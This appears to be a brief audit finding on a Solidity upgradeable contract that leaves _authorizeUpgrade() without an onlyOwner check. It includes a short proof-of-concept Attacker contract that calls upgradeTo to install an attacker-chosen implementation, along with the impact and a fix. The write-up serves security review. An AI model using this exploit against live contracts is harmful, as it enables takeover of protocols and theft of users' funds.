Exploit PoC - Missing Upgrade Authorization Guard

Description:

If `_authorizeUpgrade()` is not restricted with `onlyOwner`, any address can call `upgradeTo(...)` and replace the contract logic.

Exploit Example (Solidity)

```solidity
contract Attacker {
    address public logic;
    address public newImplementation;

    constructor(address _logic, address _newImpl) {
        logic = _logic;
        newImplementation = _newImpl;
    }

    function attack() external {
        (bool success,) = logic.call(
            abi.encodeWithSignature("upgradeTo(address)", newImplementation)
        );
        require(success, "Upgrade failed");
    }
}
```

Impact:

- Full control over logic contract

- Potential theft, data loss, protocol disruption

Recommendation:

Restrict `_authorizeUpgrade()` with `onlyOwner` or relevant access control modifier.